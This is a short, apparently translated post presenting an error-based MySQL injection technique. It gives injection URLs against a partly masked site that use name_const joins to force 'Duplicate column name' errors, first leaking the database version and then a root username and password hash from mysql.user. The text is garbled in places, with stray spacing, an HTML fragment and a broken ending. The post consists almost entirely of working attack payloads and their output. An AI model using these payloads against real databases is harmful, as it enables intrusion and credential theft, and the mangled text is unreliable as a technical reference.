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New mysql injection method with an error

Source: Internet
Author: User
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Http://xxx.cn/qcwh/content/detail.php? Id = 330 & sid = 19 & cid = 261 + and + exists (select * from + (select * from (select + name_const (@ version, 0 )) a + join + (select + name_const (@ version, 0) B) c)

Error: Duplicate column name '5. 0.27-community-nt 'Error: Duplicate column name '5. 0.27-community-nt'

Mysql. user + limit + 0, 1), 0) a + join + (select + name_const (select + concat (user, password) + from + mysql. user + limit + 0, 1), 0) B) c "> http://xxx.cn/qcwh/content/detail.php? Id = 330 & sid = 19 & cid = 261 + and + exists (select * from + (select * from (select + name_const (select + concat (user, password) + from + mysql. user + limit + 0, 1), 0) a + join + (select + name_const (select + concat (user, password) + from + mysql. user + limit + 0, 1), 0) B) c)

Error: Duplicate column name 'root * B7B1A4F45D9E638FAEB750F0A99935634CFF6C82 'Error: Duplicate column name 'root * failed ′
 

 

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